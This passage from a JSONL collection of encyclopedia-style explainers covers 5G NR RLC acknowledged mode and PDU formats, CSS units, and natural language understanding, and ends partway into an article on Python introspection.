Initialized to 0. Assigned as SN to the next RLC SDU received from upper layer; and then incremented.\n    + **TX\\_Next\\_Ack**: Determines lower edge of the transmit window. It's the SN of next in-sequence SDU that needs to be positively acknowledged. Initialized to 0. Updated when there's positive acknowledgment for SDU with SN=TX\\_Next\\_Ack. It's obvious that TX\\_Next\\_Ack &leq; TX\\_Next.\n    + **POLL\\_SN**: Highest SN among all PDUs submitted to lower layer at the time of polling. Initialized to 0.\n\n### Could you explain the counters used by an AM RLC entity at the transmitting side?\n\nThe following counters exist at the transmitting side of AM RLC: \n\n    + **PDU\\_WITHOUT\\_POLL**: Number of PDUs sent since the most recent poll. Initialized to 0.\n    + **BYTE\\_WITHOUT\\_POLL**: Number of bytes sent since the most recent poll. Initialized to 0.\n    + **RETX\\_COUNT**: Number of retransmissions of an SDU or its segment. One counter per RLC SDU.Relevant to the counters are three parameters that RRC configures: \n\n    + `maxRetxThreshold`: Limits the number of retransmissions. When RETX\\_COUNT reaches this limit, upper layers are indicated of SDU transmission failure. This may lead to an RRC Re-establishment procedure.\n    + `pollPDU`: When PDU\\_WITHOUT\\_POLL reaches or exceeds this value, polling is triggered.\n    + `pollByte`: When BYTE\\_WITHOUT\\_POLL reaches or exceeds this value, polling is triggered.\n\n### Could you explain the state variables used by an AM RLC entity at the receiving side?\n\nThe following state variables exist at the receiving side of AM RLC: \n\n    + **RX\\_Next**: Determines the lower edge of the receive window. Initialized to 0. Updated when an SDU with SN=RX\\_Next is fully received.\n    + **RX\\_Next\\_Highest**: Contains the next SN following the highest SN of all received SDUs, even if the highest-SN SDU is not fully received. Thus, RX\\_Next &leq; RX\\_Next\\_Highest. Initialized to 0.\n    + **RX\\_Highest\\_Status**: Highest possible value to be indicated in ACK\\_SN field of STATUS PDU. SDUs with lower SN that haven't been fully received will be indicated with NACK\\_SN in the STATUS PDU. Initialized to 0.\n    + **RX\\_Next\\_Status\\_Trigger**: SN following the SN of the RLC SDU that triggered t-Reassembly. Thus, if SN=2 is partially received and t-Reassembly is started for it, this variable is set to 3.\n\n### Could you illustrate the update of RLC AM receiving side state variables?\n\nThis example is based on RLC specification TS 38.322. It's accompanied by code in the Sample Code section of this article.\n\nWe present three scenarios. All start with SN=0 fully received, then SN=1 and SN=2 partially received. When SN=1 is partially received, t-Reassembly is started. When SN=2 is partially received, there's no action on the timer since it's already running for SN=1.\n\nIn scenario (a), SN=1 is fully received. Thus, t-Reassembly is stopped and reset. However, since SN=2 was partially received earlier, t-Reassembly is started for SN=2. When SN=2 is later fully received, reassembly is completed for this SDU, and timer is stopped and reset.\n\nIn scenario (b), SN=1 is fully received and hence t-Reassembly is restarted for SN=2. When t-Reassembly expires (could not reassemble SN=2 soon enough), status reporting is triggered. STATUS PDU will include NACK for SN=2.\n\nIn scenario (c), SN=3 is partially received. When t-Reassembly expires (could not reassemble SN=1 soon enough), status reporting is triggered. STATUS PDU will include NACK for SN=1 and SN=2, and possibly for SN=3.\n\n\n### Could you explain the timers used by an RLC AM entity?\n\nAn RLC AM entity maintains three timers: \n\n    + **t-PollRetransmit**: At the transmitting side. Started or restarted when poll bit is set in an AMD PDU. Stopped when STATUS PDU is received indicating ACK/NACK for POLL\\_SN, which is the highest SN transmitted at the time of the last poll. At expiry, initiate data retransmissions and poll retransmission.\n    + **t-Reassembly**: At the receiving side. Detects loss of RLC PDUs. Started when a segment is received but more segments are pending for that SDU. Stopped when SDU is completely received. At expiry, triggers status reporting.\n    + **t-StatusProhibit**: At the receiving side. Prohibits frequent transmissions of STATUS PDU. Started when a STATUS PDU is sent. Expiry of t-Reassembly triggers a status report but STATUS PDU is sent only when t-StatusProhibit expires. Status reporting is triggered either by polling (transmitting side initiated) or t-Reassembly expiry (receiving side initiated).At most only one of each of the above timers can be running in an AM RLC entity. \n\n## Milestones\n\nApr  \n2017\n\nAn early draft of 5G NR RLC specification **TS 38.322** is released. This evolves to version 1.0.0 by September. \n\nDec  \n2017\n\n3GPP publishes **Release 15** \"early drop\". RLC specification TS 38.322 is updated to version 15.0.0. \n\nJun  \n2018\n\nThe setting of POLL\\_SN is corrected in the specification.  \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. RLC specification is TS 38.322 version 16.1.0.","meta":{"title":"5G NR RLC Acknowledged Mode","href":"5g-nr-rlc-acknowledged-mode"}}
{"text":"# 5G NR RLC PDU\n\n## Summary\n\n\nAn RLC PDU (Protocol Data Unit) consists of an **RLC header** and **data**. From an upper layer, RLC receives an RLC SDU (Service Data Unit). The data part of an RLC PDU is either a complete RLC SDU or an SDU segment. A single RLC PDU maps to a single MAC SDU. \n\nRLC has three transmission modes: TM, UM and AM. Each mode has its own **data PDU** formats. STATUS PDU, which is an RLC **control PDU** sent as part of AM RLC entity, has its own formats. \n\nEvery RLC SDU coming from an upper layer is byte aligned, that is, multiple of 8 bits. First bit of RLC SDU becomes first bit of RLC PDU. UMD and AMD headers are byte aligned but not the STATUS PDU header.\n\n## Discussion\n\n### What are some essential details when constructing an RLC PDU?\n\nRLC's upper layer is either PDCP or BAP. If RLC SDU is from PDCP, the **maximum data field size** in an RLC PDU is the maximum size of a PDCP PDU. \n\nUnlike LTE RLC, 5G NR RLC supports **SDU segmentation but not concatenation**. This means that an RLC SDU can be sent as multiple segments, each segment going in a separate RLC PDU. But a single RLC PDU can't carry multiple SDUs or their segments. \n\nSince there's no concatenation at RLC, RLC can start **preparing the header** for each RLC SDU before transmission grant is received from MAC. This reduces overall latency. If the grant received is smaller than desired, RLC will segment the SDU, update the RLC header and construct the final RLC PDU.  \n\nThe standards don't specify a value for **segment size**. If the grant is big enough, the entire SDU shall go in a single PDU. Otherwise, the SDU shall be segmented, with RLC maximizing the segment size given the grant. \n\n\n### What's the format of a TMD PDU?\n\nA TM RLC entity sends and receives data using the TM Data (TMD) PDU format. Since no RLC header is used by TM RLC entity, and no segmentation is done, RLC SDU becomes an RLC PDU. This is the most trivial of all RLC PDU formats.\n\n\n### Could you describe header fields common to UMD and AMD RLC PDUs?\n\nSegmentation is one of the essential features of UM and AM RLC entities. The following header fields assist the receiving RLC entity to reassemble a complete SDU from its segments: \n\n    + **Segmentation Info (SI)**: Indicates if the PDU contains a complete SDU or first/last/middle segment. Length is 2 bits.\n    + **Segment Offset (SO)**: Indicates the position of the current segment in bytes within the original RLC SDU. Numbering starts from zero. Length is 16 bits.\n    + **Sequence Number (SN)**: Indicates the sequence number of the corresponding SDU. Note that numbering is for SDUs, not for their segments. Length is configured by RRC: 6 or 12 bits for UMD PDU, and 12 or 18 bits for AMD PDU.\n\n### What's the format of a UMD PDU?\n\nA UM RLC entity sends and receives data using UM Data (UMD) PDU formats. UMD PDU has five formats: containing a complete SDU without SN; containing 6-bit or 12-bit SN with or without SO. \n\nFor groupcast and broadcast on sidelink channels, 6-bit SN is used. \n\nSN is included only if an RLC SDU is segmented. UMD PDU carrying the first segment doesn't include the SO field. When an RLC SDU is not segmented, SN is not incremented. This makes sense since an RLC PDU carrying a complete SDU doesn't include SN.\n\n\n### What's the format of an AMD PDU?\n\nAn AM RLC entity sends and receives data using AM Data (AMD) PDU formats. AMD PDU has four formats: containing 12-bit or 18-bit SN with or without SO. \n\nSimilar to UMD PDU, AMD PDU header includes SI, SN and SO. Additional fields for AMD PDU are:\n\n    + **Data/Control (D/C)**: 1-bit field. 0 indicates control PDU and 1 indicates data PDU. This is necessary since an AM RLC entity has both data and control PDUs.\n    + **Polling (P)**: Set by the transmitting side to 1 if requesting a STATUS report from its peer entity.Unlike UM, AM doesn't have a dedicated format for complete SDU transmission. However, a complete SDU can still be sent in a single RLC PDU by setting `SI=00`. Even so, AMD PDU always includes SN field, which is necessary for ARQ retransmission procedure. \n\nLike UMD PDU, AMD PDU carrying the first segment doesn't include the SO field. \n\n\n### What's the format of the STATUS PDU?\n\nSTATUS PDU is a control PDU applicable only to AM RLC entity. The header consists of 1-bit Data/Control (D/C) field and and 3-bit Control PDU Type (CPT) field. STATUS PDU is indicated with `D/C=0` and `CPT=000`. \n\nFollowing the header, the STATUS PDU contains ACK\\_SN, NACK\\_SN, extension bits (E1/E2/E3), SOstart, SOend, and NACK range. ACK\\_SN and E1 are mandatory in every STATUS PDU. Other fields are used only when there's a need to indicate incorrectly received RLC SDUs and segments. \n\nACK\\_SN and NACK\\_SN are 12 or 18 bits as configured by RRC. SOstart and SOend occupy 16 bits. NACK range field is 8 bits. \n\n\n### How are extension bits used in the STATUS PDU?\n\nThere are a few ways to indicate missing SDUs or their segments, controlled by extension bits:  \n\n    + **E1**: `E1=1` if NACK\\_SN/E1/E2/E3 fields follow. In this context, all SDUs prior to ACK\\_SN except those indicated by NACK\\_SN have been correctly received. `E1=0` implies all SDUs prior to ACK\\_SN have been correctly received, common if communication is going smoothly without requiring retransmissions.\n    + **E2**: `E2=1` if SOstart/SOend fields follow. Whereas E1 and NACK\\_SN specify a lost SDU, E2 and SOstart/SOend specify lost segments. `SOend=0xFFFF` is a special case to indicate that all bytes from SOstart are lost.\n    + **E3**: `E3=1` if NACK range field follows. This is the number of consecutive RLC SDUs lost from and including NACK\\_SN. This is useful when handling burst errors. E3 can be used together with E2, that is, to inform loss from SOstart of NACK\\_SN to SOend of NACK\\_SN+NACK range-1. Special value `SOend=0xFFFF` is applicable.In the figure, we illustrate a few loss scenarios and their corresponding STATUS PDUs. We don't show retransmissions or re-segmentation. We assume 12-bit SN and 1024-byte SDUs segmented equally into four 256-byte segments.\n\n## Milestones\n\nApr  \n2017\n\nAn early draft of 5G NR RLC specification **TS 38.322** is released. This evolves to version 1.0.0 by September. \n\nDec  \n2017\n\n3GPP publishes **Release 15** \"early drop\". RLC specification TS 38.322 is updated to version 15.0.0. This version includes header fields SI, SN, SO, D/C and P for data PDUs; header fields D/C and CPT for STATUS PDU; data fields ACK\\_SN, NACK\\_SN, SOstart, SOend, NACK range, E1, E2 and E3 for STATUS PDU. \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. RLC specification is TS 38.322 version 16.1.0. From Release 15, there are **no changes** to RLC PDU formats.","meta":{"title":"5G NR RLC PDU","href":"5g-nr-rlc-pdu"}}
{"text":"# CSS Units\n\n## Summary\n\n\nCSS units are used to specify the size, position, and other properties of elements on a web page using Cascading Style Sheets (CSS). There are several types of CSS units, each with its own unique properties and use cases. These units are either absolute units or relative units.\n\nCSS units are part of the overall CSS specification that's standardized by the W3C. There's generally good support of these units from web browsers and design tools.\n\nDesigners and web developers should get familiar with these different CSS units. They should learn when to use what and follow best practices. This will lead to a code that's more maintainable, flexible, and accessible.\n\n## Discussion\n\n### Which are the main categories of CSS units?\n\nThere are two main categories of CSS units:\n\n    + **Absolute Units**: These units are fixed, regardless of the context. The most common ones are Pixels (`px`), Inches (`in`), Centimeters (`cm`), Millimeters (`mm`), Points (`pt`), and Picas (`pc`).\n    + **Relative Units**: These units are relative to some other value, such as the font size or the dimensions of the containing element. The most common ones are Percentages (`%`), EM (`em`), REM (`rem`), Viewport units (`vw`, `vh`, `vmin`, `vmax`), and Ex (`ex`).It's possible to use a combination of absolute and relative CSS units to achieve complex layouts and designs. For example, a combination of percentages and pixels would create a flexible layout that maintains fixed-size margins and padding. More specifically, an element's width is in `px` but the height's in `em` to make it relative to the font size of the element. Similarly, the margin or padding could be set in `px` but the dimensions of the containing element is in `em` or `rem` to make it relative to the size of the container.\n\n\n### Could you explain the main CSS units?\n\nPixels (`px`) is the most commonly used unit in CSS. A pixel is a single dot on a computer screen, and its size is dependent on the device's screen resolution.\n\nPercentages (`%`) is used to define a value relative to the parent element. For example, setting the width of a child element to 50% will make it half the width of its parent.\n\nEM (`em`) is based on the size of the font that is currently in use. For example, `1em` is equal to the current font size of the element. REM (`rem`) is similar to EM, but it is based on the font size of the root element (typically the `<html>` tag), rather than the element that is currently in use.\n\nViewport units are based on the size of the viewport, which is the visible area of the browser window. The two most common viewport units are `vw` (viewport width) and `vh` (viewport height). Units `vmin` and `vmax` are useful to choose the width or height, whichever is the minimum or maximum respectively.\n\n\n### As a designer, when should I use what CSS units?\n\nAbsolute units are useful for creating fixed and precise designs. This is typical when printing to physical media. Pixels are suited for fixed-size elements, such as borders or margins, that need to be consistent across different screen sizes and resolutions.\n\nRelative units are useful for creating responsive designs, that is, flexible designs that can adapt to different screen sizes and resolutions. This is usually the case for web content. Percentages achieve fluid layouts that adjust to the parent container's size. Similarly, viewport units are suited for creating responsive designs that adjust to the viewport size. For example, setting the height of a hero section to `100vh` will make it stretch to the height of the viewport.\n\nEMs are good for font sizing and other proportional values that need to scale with the element's font size. REMs help implement consistent global styles across an entire website. With REMs, just by changing the root element's font size, the font sizes across the entire website can be changed. This implies that EMs and REMs result in more maintainable code. A consistent unit system will result in code that's more maintainable.\n\n\n### Could you give accessibility guidelines for using CSS units?\n\nAbsolute units for font sizing can make it difficult for users with visual impairments. For some, the text may be too small. For others, it may be too large. Instead, use relative units. In the figure, leftmost view is least accessible. The centre view has more readable font size but line spacing is congested. Rightmost view is most accessible. It uses unitless line height value, which plays well with CSS inheritance. \n\nFor accessibility across different devices and platforms, create responsive designs using viewport units. Use media queries to adjust units for different devices. Test the code across different devices.\n\nAvoid using small text sizes. The Web Content Accessibility Guidelines (WCAG) recommends a minimum font size of `16px`, or `1em` for body text. Be consistent in the use of CSS units. This leads to a harmonious and stable interface that's easier to use for users with cognitive or visual impairments.\n\n\n### Which W3C standards describe CSS units?\n\nCSS units are defined in the W3C CSS specification, which is maintained by the World Wide Web Consortium (W3C). The current version (Feb 2023) of the CSS specification is CSS3. Here are a few essential sections to read:\n\n    + 2.1 Lengths: Absolute and relative length units in CSS, such as pixels (px), centimeters (cm), and ems (em).\n    + 5.1 Percentage values: How percentage values are used to specify lengths and other values in relation to a parent element.\n    + 5.2 Font-relative lengths: the em, ex, and ch units: Font-relative length units, such as ems and exes, which are based on the font size of an element.\n    + 5.3 Viewport-percentage lengths: the vw, vh, vmin, and vmax units: Viewport-percentage length units, which are based on the size of the viewport.\n    + 7.1.1 The 'font-size' property: How the font-size property can be used to specify the font size of text on a web page, using units such as pixels or ems.\n    + 15 Media Queries: How media queries can be used to create responsive designs that adapt to different screen sizes and resolutions, including how different CSS units can be used to create flexible and adaptive layouts.\n\n### What are some limitations of CSS units?\n\nWhile CSS units offer a lot of flexibility in web design, there are some limitations to keep in mind:\n\n    + **Rendering Inconsistency**: Different web browsers may render CSS units differently, which can lead to inconsistencies in the way the design appears to users.\n    + **Old Browser Support**: Some of the newer CSS units may not be supported by older web browsers, which can limit their usefulness in some cases. Fallbacks or alternative approaches would be needed for older browsers.\n    + **Limited Flexibility**: CSS units may be inadequate for special design requirements. For example, when dealing with extremely large or small measurements, or when creating complex layouts with multiple elements, other design approaches may be necessary.\n    + **Inaccuracy**: While relative units can be useful for creating responsive designs, they can sometimes be inaccurate, especially when cascading multiple nested elements. This can make it difficult to maintain the intended design, especially on very complex layouts. This also means that pixel-perfect designs are harder to achieve with relative units. Slight variations may appear across different devices.\n\n### Can you describe the units in CSS4?\n\nCSS4 doesn't exist as a name. In fact, even CSS3 is really many smaller modules, each of which is standardized, versioned and published in its own document. As on February 2023, the following are some proposed units for the future:\n\n    + fr unit: Represents a fraction of the available space in a grid or flexbox layout.\n    + min(), max(), and clamp() functions: Set a minimum, maximum, or range of values for a property, based on the size of the container or viewport.\n    + Modular Scale units: Set font sizes and other values based on a modular scale, which is a set of predefined values that follow a specific ratio.\n    + Aspect Ratio units: Set the aspect ratio of an element based on the width and height of the element.\n    + CSS Units for Scroll Snap: Set scroll snap properties, such as snap positions and distances, based on units such as pixels, percentages, or fractions.\n\n### Can CSS units be used in SVG?\n\nCSS units can be used in SVG (Scalable Vector Graphics) just as they can be used in HTML documents. For example, they can be used to set the size of an SVG shape, or to position it relative to other elements in the document. However, there are some limitations.\n\nSome CSS units may behave differently in an SVG context compared to an HTML context. For example, the `vw` (viewport width) and `vh` (viewport height) units may not work as expected in SVG images that are embedded in a fixed-size HTML document, because the viewport size differs from the SVG image size.\n\nCSS units that rely on the size of the font or the text, such as `em` or `rem`, may not be as useful in SVG images that don't contain text or use custom fonts. In this case, pixels or percentages may be more suited.\n\nSVG-specific units, such as \"pt\" (points) and \"mm\" (millimeters), may also be used in SVG documents, but may not be as widely supported by all browsers and devices as the standard CSS units.\n\n\n### What's the formula to convert from one CSS unit to another?\n\nCSS Units Converter is an online tool to easily convert between different CSS units. For those who wish to know what happens under the hood, the following formulae may help.\n\n\n| Conversion | Formula |\n| --- | --- |\n| Pixels to EMs | \\(em = px / fontSize \\) |\n| Pixels to REMs | \\(rem = px / rootFontSize \\) |\n| Pixels to % | \\( \\% = (px / (containerWidth \\, or \\, containerHeight)) \\* 100% \\) |\n| EMs to Pixels | \\( px = em \\* fontSize \\) |\n| REMs to Pixels | \\( px = rem \\* rootFontSize \\) |\n| Viewport Units to Pixels | \\( px = vw \\* viewportWidth / 100 \\\\ px = vh \\* viewportHeight / 100 \\\\ px = vmin \\* min(viewportWidth, viewportHeight) / 100 \\\\ px = vmax \\* max(viewportWidth, viewportHeight) / 100 \\) |\n\n\n### What's the browser and tool support for CSS units?\n\nThere's good browser support for CSS units. Some older browsers such as Internet Explorer 8 don't support REMs and viewport units. The Can I Use website provides information on browser support. Absolute units (in, cm, mm, pt, pc) are widely supported but their accuracy may depend on the screen or printer resolution.\n\nMany design tools support the use of CSS units for designing web pages and interfaces: Adobe Photoshop, Sketch, Figma, Adobe XD, Canva, etc. Sketch supports pixels, points, and picas by default, but you can also use other units by installing plugins. WIth Figma and Adobe XD, the designer can switch units and the tool will automatically generate correct CSS code.\n\nPopular code editors like Visual Studio Code and Sublime Text support the use of CSS units for web design.\n\nWeb designers and developers who wish to learn more can consult the Mozilla Developer Network CSS Units Guide. It provides an overview of each CSS unit and how to use them effectively in web development. Another resource is the CSS-Tricks Guide to Length Units in CSS. It provides an in-depth overview of each CSS unit, including examples and code snippets.\n\n## Milestones\n\n1996\n\nThese are the early days of the web. Designers and developers are looking for ways to define and control the layout and appearance of HTML documents. CSS units originate from here. Pixels (`px`) represent a fixed size on the screen. Points (`pt`) are adopted from print design. Percentages (`%`) are also part of the early CSS units.\n\n1998\n\nRelative unit EM (`em`) is introduced in CSS2. In time, they become a popular choice for creating flexible, responsive designs, along with percentages.\n\n1999\n\nW3C publishes the first drafts of CSS3. Among the new CSS units are viewport units (`vw`, `vh`, `vmin`, `vmax`), REMs (`rem`) and Chars (`ch`). Chars are a font-relative unit, based on the width of the character \"0\" in the current font. They're useful for creating layouts that are proportional to the size of the text.","meta":{"title":"CSS Units","href":"css-units"}}
{"text":"# Natural Language Understanding\n\n## Summary\n\n\nGiven some text, Natural Language Understanding (NLU) is about enabling computers to understand the meaning of the text. Once meaning is understood, along with the context, computers can interact with humans in a natural way.\n\nIf a human were to ask a computer a question, NLU attempts to understand the question. Such an understanding leads to a **semantic representation** of the input text. The representation is then fed into other related systems to generate a suitable response. \n\nLanguage is what makes us human and manifests our intelligence. NLU is a challenging NLP task, often considered an AI-Hard problem. It combines elements of syntactic and semantic parsing, and predicate logic.\n\n## Discussion\n\n### How is NLU different from NLP?\n\nNatural Language Processing (NLP) is an umbrella term that includes both Natural Language Understanding (NLU) and Natural Language Generation (NLG). NLP turns unstructured data into structured data. NLU is more specifically about the meaning or semantics. For example, if the user is asking about today's weather or the traffic conditions on a particular route, NLU helps in understanding the intent of the user's query. NLG is invoked when framing answers in natural language.  \n\nVoice-based human-computer interaction such as Apple Siri or Amazon Alexa is a typical example. Speech is converted to text using Automatic Speech Recognition (ASR). NLU then takes the text and outputs a semantic representation of the input. Once relevant facts are gathered, NLG helps in forming the answer. Text-to-Speech (TTS) synthesis finally converts the textual answer to speech. \n\nApart from sub-fields such as ASR and TTS, NLP consists of basic language processing tasks such as sentence segmentation, tokenization, handling stopwords, lemmatization, POS tagging and syntactic parsing. \n\nThere's also **Natural Language Inference (NLI)**. Given a premise, NLI attempts to infer if a hypothesis is true, false or indeterminate. \n\n\n### What are the typical challenges in NLU?\n\nConsider the sentence \"We saw her duck\". 'We' could be a Chinese name. 'Her' could refer to another person introduced earlier in the text. 'Duck' could refer to a bird or the action of ducking. Likewise, 'saw' could be a noun or a verb. This variety of interpretations is what makes NLU a challenging task. This is because language is highly **ambiguous**. \n\nAmbiguity could be syntactic, such as \"I saw the man with the binoculars\". An example of word sense ambiguity is \"I need to go to the bank\". \n\n**Synonymy** is also a problem for NLU. This is when many different sentences are expressing the same meaning. This is because language allows for variety and complex constructions. \n\nHuman often communicate with errors and less than perfect grammar. NLU systems have to account for these as well. In addition, human language has sarcasms. A sentence may have a literal meaning (semantics) but also a different intended meaning (pragmatics). \n\n\n### Could you explain semantic parsing?\n\nSemantic parsing translates text into a *formal meaning representation*. This representation is something that's easier for machines to process. In some ways, semantic parsing is similar to machine translation except that in the latter, the final representation is human readable. \n\nThe form of the representation depends on the purpose. It could use scalars or vectors. It could be continuous or discrete, such as tuples for relation extraction. \n\nConsider the question \"Which country had the highest carbon emissions last year?\" Assuming the answer is to be searched in a relational database, the representation would take the form of a database query: `SELECT country.name FROM country, co2_emissions WHERE country.id = co2_emissions.country_id AND co2_emissions.year = 2014 ORDER BY co2_emissions.volume DESC LIMIT 1`. \n\nIn a robotic application, the representation might be a sequence of steps to guide the robot from one place to another. In smartphones that process voice commands, the representation might be categorized into intents and their arguments. \n\n\n### Which are the typical NLU tasks?\n\nSince NLU's focus is on meaning, here are some typical NLU tasks:\n\n    + **Sentiment Analysis**: Understand if the text is expressing positive or negative sentiment. Emotion detection is a more granular form of sentiment analysis.\n    + **Named Entity Recognition**: Identify and classify named entities (Person, Organization, Location, etc.) in the text.\n    + **Relation Extraction**: Identify and classify the relation between named entities.\n    + **Semantic Role Labelling**: Identify and label parts a sentence with their semantic roles. This helps in answering questions of the type \"who did what to whom\".\n    + **Word Sense Disambiguation**: Looking at the context of word usage, figure out the correct sense since a word can have multiple senses.\n    + **Inductive Reasoning**: Given some facts, use logic to infer relations not stated explicitly in the text.When combined with NLG, other tasks that require NLU are question answering, text summarization, chatbots, and voice assistants. The use of NLU in chatbots and voice assistants has become increasingly more important. NLU helps chatbots to better understand user intent, and to respond correctly and in a more natural way.  \n\n\n### Could you share examples of real-world NLU systems?\n\nMany examples are in relation to chatbots or voice assistants. Microsoft offers Language Understanding Intelligent Service (LUIS) that developers can use to quickly build natural language interfaces into their apps, bots and IoT devices.\n\nA similar offering from IBM is Watson Assistant. IBM also offers Watson Natural Language Understanding to extract entities, keywords, categories, sentiment, emotion, relations, and syntax. \n\nFrom Google, we have Dialogflow for voice and text-based conversational interfaces. Other examples are Amazon Lex, SAP Conversational AI, , Rasa NLU, and Snips. \n\n\n### Which are the main approaches to NLU?\n\nOne approach is to initialize an NLU system with some knowledge, structure and common sense. The system then learns from experience via **reinforcement learning**. Since some see this as introducing biases, an alternative approach is to require the system to learn everything by itself. Just as humans learn by interacting with their environments, NLU systems can also benefit from such **embodied learning**. The ability to detect human emotions can lead to deeper understanding of language. \n\nThese two approaches are mirrored in Western philosophy by **nativism** (core inbuilt knowledge) and **empiricism** (learned by experience). \n\nNLU systems could combine elements of statistical approaches with knowledge resources such as FrameNet or Wikidata. FrameNet is a lexical database of word senses with examples. FrameNet can therefore help NLU in obtaining common sense knowledge. Other common sense datasets include Event2Mind and SWAG. \n\nSu et al. noted the duality between NLU and NLG. Via **dual supervised learning** they trained a model to jointly optimize on both tasks. Their approach gave state-of-the-art F1 score for NLU. \n\nThere are four categories of NLU systems: distributional, frame-based, model-theoretical, interactive learning. \n\n\n### Which are the common benchmarks for evaluating NLU systems?\n\nThe General Language Understanding Evaluation (GLUE) benchmark has nine sentence or sentence-pair NLU tasks. It has good diversity of genres, linguistic variations and difficulty. It's also model agnostic. There's also a leaderboard. This was extended in 2019 to **Super GLUE**. \n\nQuora Question Pairs (QQP) has question pairs. The task is to determine if two questions mean the same. Sharma et al. showed that a Continuous Bag-of-Words neural network model gave best performance. Incidentally, QQP is included in GLUE.\n\n**SentEval** is a toolkit for evaluating the quality of universal sentence representations. The tasks include sentiment analysis, semantic similarity, paraphrase detection, entailment, and more. \n\n**CLUTRR** is a diagnostic benchmark suite for inductive reasoning. It was created to evaluate if NLU systems can generalize in a systematic and robust way. \n\nFor evaluating chatbots, Snips released three benchmarks for built-in intents and custom intent engines. \n\nMost models are trained to exploit statistical patterns rather than learn the meaning. Hence, it's easy for someone to construct examples to expose how poorly a model performs. Inspired by this, **Adversarial NLI** is another benchmark dataset that was produced by having humans in the training loop. \n\n\n### Are current NLU systems capable of real understanding?\n\nBack in 2019, it was reported that NLU systems are doing little more than pattern matching. There's no real understanding in terms of agents, objects, settings, relations, goals, beliefs, etc. \n\nOpenAI's GPT-2 was trained on 40GB of data with no prior knowledge. When prompted with a few words, GPT-2 can complete the sentence sensibly. But despite its fluency, GPT-2 doesn't understand what it's talking about. It fails at answering simple questions. In other words, it's good at NLG but not at NLU. \n\nLanguage Models (LMs) have proven themselves in many NLP tasks. However, their success in reasoning has shown to be poor or context-dependent. LMs capture statistics of the language rather than reasoning. In other words, prediction does not imply or equate to understanding. \n\nThe failure to \"understand\" could be due to lack of **grounding**. For example, dictionaries define words in terms of other words, which too are defined by other words. Real understanding can come only when words are associated with sensory experiences grounded in the real world. Without grounding, NLU systems are simply mapping a set of symbols to another set or representation. \n\n## Milestones\n\n1966\n\nJoseph Weizenbaum at MIT creates *ELIZA*, a program that takes inputs and responds in the manner of a psychotherapist. ELIZA has no access to knowledge databases. It only looks at keywords, does pattern matching and gives sensible responses. Many users get fooled by ELIZA's human-like behaviour, although Weizenbaum insists that ELIZA has no understanding of either language or the situation. \n\n1971\n\nTerry Winograd at MIT describes *SHRDLU* in his PhD thesis. The task is to guide a robotic arm to move children's blocks. SHRDLU can understand block types, colours, sizes, verbs describing movements, and so on. In later years, SHRDLU is considered a successful AI system. However, attempts to apply it to complex real-world environments prove disappointing. A modern variation of SHRDLU is *SHRDLURN* due to Wang et al. (2016). \n\nJun  \n1974\n\nMarvin Minsky at MIT publishes *A Framework for Representing Knowledge*. He defines a **frame** as a structure that's represents a stereotyped situation. Given a situation, a suitable frame is selected along with its associated information. Then it's customized to fit the current situation. This is the frame-based approach to NLU.\n\n1980\n\nPereira and Warren develop *CHAT-80*, a natural language interface to databases. Implemented in Prolog, it uses hand-built lexicon and grammar. It can answer questions about geography, such as \"What countries border Denmark?\" \n\n1984\n\nApple releases the Macintosh 128K along with a computer mouse. Although mouse was invented 20 years earlier, it's the Macintosh that makes it popular, and with it the **Graphical User Interface (GUI)**. This causes some companies to change focus from research into natural language interfaces to adoption of GUIs. \n\n1995\n\nKuhn proposes **Semantic Classification Tree (SCT)** that automatically learns semantic rules from training data. This overcomes the need to hand code and debug large number of rules. The learned rules are seen to be robust to grammatical and lexical errors in input. In general, the 1990s see a growing use of statistical approaches to NLU. \n\nJul  \n2018\n\nGobbi et al. compare many different algorithms used for concept tagging, a sub-task of NLU. Among the algorithms compared are generative (WFST), discriminative (SVM, CRF) and neural networks (RNN, LSTM, GRU, CNN, attention). LSTM-CRF models show best performance. Adding a CRF top layer to a neural network improves performance with only a modest increase in number of parameters. \n\nSep  \n2019\n\nReasoning is one of the tasks of NLU with practical use in applications such as question answering, reading comprehension, and textual entailment. In a graph-based approach, Khashabi et al. show the impossibility of reasoning in a noisy linguistic graph if it requires many hops in the meaning graph. Meaning space is internal conceptualization in the human mind. It's free of noise and uncertainty. Linguistic space is where thought is expressed via language and has plenty of room for imperfections.","meta":{"title":"Natural Language Understanding","href":"natural-language-understanding"}}
{"text":"# Introspection in Python\n\n## Summary\n\n\n**Introspection** is about getting information about an object at runtime. This information could be about the object's type, its data attributes and methods, its class inheritance hierarchy, documentation, method signature, and more. Introspection can also be about knowing the current runtime context such as stack information. \n\nIntrospection is an additional language feature in the programmer's toolbox. It can help the programmer code for specific scenarios that are perhaps harder to solve otherwise. Tracing and debugging tools benefit from introspection. In Python, data attributes and methods can be added or removed from instances even after instantiation. Given this dynamic nature of objects, introspection becomes a useful feature.\n\n## Discussion\n\n### What built-in functions facilitate object introspection in Python?\n\nThe following built-in functions are useful:  \n\n    + `callable()`: Returns True if object is callable. Eg. `callable(mycar)`. Objects can be made callable by defining `&lowbar;&lowbar;call&lowbar;&lowbar;` method in their class.\n    + `dir()`: Obtain all attributes (data and methods) of an object. Eg. `dir(mycar)`.\n    + `hasattr()`: Check if object has an attribute. Eg. `hasattr(mycar, 'num_gears')`. This is useful since attributes can be dynamically added/removed at runtime. Note that `if 'num_gears' in dir(mycar)` is equivalent to `hasattr(mycar, 'num_gears')`.\n    + `help()`: Obtain help on an object's interface based on docstrings.\n    + `id()`: Obtain the unique ID of the object. Eg. `id(mycar)`.\n    + `issubclass()`: Check if a class is a subclass of a specified class. Eg. `issubclass(Honda, Car)`.\n    + `isinstance()`: Check if an object is of a specified class. Eg. `isinstance(mycar, Honda)` will be True when `mycar = Honda()`. If Honda is a subclass of Car, `isinstance(mycar, Car)` is also True. Note that `type(mycar) is Car` is False.\n    + `sys.getsizeof()`: Part of the `sys` module, this obtains the size of the object in bytes.\n    + `type()`: Obtain the object's type. Eg. `type(2)` will give `<class 'int'>`.\n    + `vars()`: Obtain all instance variables (name and value) as a dictionary. Eg. `vars(mycar)`. This is equivalent to `mycar.&lowbar;&lowbar;dict&lowbar;&lowbar;`.\n\n### What object attributes help with introspection in Python?\n\nThere are some attributes that give useful information about objects. For example, given an instance `mycar`, `mycar.&lowbar;&lowbar;class&lowbar;&lowbar;` retrieves its class. Attributes of the class give more information: `&lowbar;&lowbar;name&lowbar;&lowbar;`, `&lowbar;&lowbar;qualname&lowbar;&lowbar;`, `&lowbar;&lowbar;str&lowbar;&lowbar;`, 